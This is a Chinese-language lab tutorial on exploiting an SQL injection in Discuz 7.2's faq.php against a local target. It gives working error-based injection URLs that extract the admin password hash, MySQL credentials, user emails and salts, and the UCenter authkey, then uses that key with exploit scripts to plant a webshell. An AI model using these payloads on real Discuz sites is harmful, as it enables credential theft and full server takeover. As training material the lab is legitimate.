Discuz 7.2 版本SQL注入漏洞的利用
本教程僅供網站進行滲透測試,請勿用於非法途徑!!造成任何危害,均由個人負全責!!
實驗目的
通過本實驗理解SQL注入基本原理由於過程,掌握菜刀和Havij等注入工具的使用方法,了解SQL注入的危害。通過本實驗,掌握SQL注入點識別方法、測試方法、自動化工具使用方法以及進行防御的基本方法。
實驗環境
測試滲透機:win2k8Tester
用戶名: college或test密碼: 360College 工具:Firefox或chrome瀏覽器 目標靶機:Discuz7網站 用戶名: college密碼: 360College 目標網站:http://IP:8082 軟件環境:phpstudy、Discuz7.2
實驗原理
作為一種SQL注入攻擊,其核心思想就是在組合的SQL查詢語句中,插入構造的特殊語句,從而實現特定的目的。其關鍵是對目標的漏洞發現、分析和針對漏洞構造特殊的SQL語句,入侵的方式是非常巧妙的。
實驗步驟
第一步 啟動靶機服務器
以用戶名college或test密碼360College登錄目標靶機。
然后啟動其中的phpstudy,並點擊界面中的啟動,出現mysql和apache為兩個綠色圓點,表示服務啟動成功。
啟動phpstudy(桌面圖標):
如果,顯示不是兩個綠色標志,則等待一會,按下重啟按鈕,再次嘗試。
第二步 滲透平台上的漏洞利用
1.登錄滲透平台,訪問靶機網站
訪問靶機。http://IP:8082 (注意根據查看到的靶機IP地址,修改此處的IP,端口不變,以下截圖中,均應將端口修改為8082)。
2.瀏覽網頁
點擊其中的鏈接,如果地址欄出現http://***/xx.php?id=XX,則表明目標網站,采用PHP語言開發。
3.手工SQL注入
(1)獲取數據庫版本信息
/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)%23
輸出如下:
可以看到,mysql數據庫版本為:5.5.401.
(2)獲取管理員賬戶密碼
/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
要去掉最后的1
獲得的密文值,要去掉最后的1。 例如: Error: Duplicate entry 'admin'f426eaa50a5c805d360ca4046419c6ba1' for key 'group_key' 密文就是f426eaa50a5c805d360ca4046419c6ba。
(3)獲取數據庫用戶名和密碼
/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat((select concat(user,0x3a,password,0x3a) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
(4)獲取用戶名、email、密碼和salt信息
/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat((select concat(username,0x3a,email,0x3a,password,0x3a,salt,0x3a,secques) from uc_members limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
說明:如果獲取失敗,則將uc_members替換為ucenter.uc_members,再次嘗試。
(5)獲取uc_key
faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,32) from uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23
faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,33,32) from uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23
如果上述語句執行出錯,則:利用 ucenter.uc_applications 替代uc_applications即可.
這里需要注意 由於authkey的長度限制,最大可取62個長度單位,所以采用兩次獲取的方法,先獲取前32位,再獲取后32位.
兩次查詢出錯,返回key的相應值。
Error: Duplicate entry '1:n6Q8Ha78l0K1m3n8ddT5cdk6uba3g7yc:' for key 'group_key' Error: Duplicate entry '1:b7U8ocxcX7O8b5D56dd358sdLew363s7:' for key 'group_key'
對返回的key進行合並,得到最后key :
n6Q8Ha78l0K1m3n8ddT5cdk6uba3g7yc b7U8ocxcX7O8b5D56dd358sdLew363s7
(6)利用UC_KEY來getshell
利用dz72-faq-exp.php腳本(在操作機Tools/PHP運行環境目錄下),可進行get-shell,需要修改網站目標和UC_KEY的值。
$host="http://IP:8082"; //此處只能指定到網站根目錄。如果網站在根目錄下有文件夾,則需要修改腳本中的路徑變量值。
$uc_key="x xxxxxx xxxxxx xxxxxx xxxxxx xxxxxx xx"
放在php.exe的環境里直接getshell. 運行:php.exe dz72-faq-exp.php 成功會顯示。
一句話的地址是http://IP:8082/config.inc.php密碼cmd。
上面獲取shell的步驟有點麻煩,首先要通過注入語句獲取uc_key,然后利用uc_key獲取webshell。 可利用auto-get-shell.py腳本自動完成上面步驟來獲取webshell。
使用方法: python auto-get-shell.py http://IP:8082 N N:為需要獲取的用戶信息數量。
首先取N=1,如果能正常運行,再增大。如果N大於實際用戶數,報錯,但是不影響運行結果。
如果出錯,利用打開auto-get-shell.py,刪除其中的”/Discuz72”,后保存,再運行。 即可得到用戶名和密碼散列值,剩下的就是去cmd5查詢密碼了。
思考與總結
通過本實驗,體驗到了網站滲透的危害和一種思路過程。也提醒網站運維人員,必須加強安全意識,一個漏洞就可能讓網站失控。